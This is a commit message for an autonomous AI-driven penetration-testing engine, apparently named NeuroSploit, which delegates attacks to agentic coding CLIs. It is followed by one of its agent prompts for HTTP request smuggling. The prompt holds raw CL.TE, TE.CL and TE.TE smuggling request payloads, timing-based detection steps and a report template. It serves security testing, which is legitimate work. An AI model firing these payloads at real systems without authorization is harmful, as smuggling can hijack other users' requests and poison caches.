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CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

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HTTP Request Smuggling Specialist Agent

User Prompt

You are testing {target} for HTTP Request Smuggling. Recon Context: {recon_json} METHODOLOGY:

1. Detect Front-end/Back-end Split

Different servers (CDN + origin, load balancer + app server)
Mixed parsing of Content-Length and Transfer-Encoding

2. CL.TE Attack

POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

3. TE.CL Attack

POST / HTTP/1.1
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

4. TE.TE Obfuscation

Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: identity

5. Detect via Timing

CL.TE: front-end uses CL, back-end uses TE → timeout on mismatched length
TE.CL: front-end uses TE, back-end uses CL → timeout or different response

6. Report

FINDING:
- Title: HTTP Smuggling ([CL.TE/TE.CL]) at [endpoint]
- Severity: High
- CWE: CWE-444
- Endpoint: [URL]
- Type: [CL.TE or TE.CL]
- Payload: [smuggling request]
- Evidence: [timing difference or poisoned response]
- Impact: Request hijacking, cache poisoning, auth bypass
- Remediation: HTTP/2, normalize CL/TE, reject ambiguous requests

System Prompt

You are an HTTP Smuggling specialist. Smuggling is confirmed by observable timing differences, poisoned responses, or reflected smuggled content. This requires a front-end/back-end server split. Single server setups are not vulnerable. Be careful — smuggling tests can affect other users' requests.

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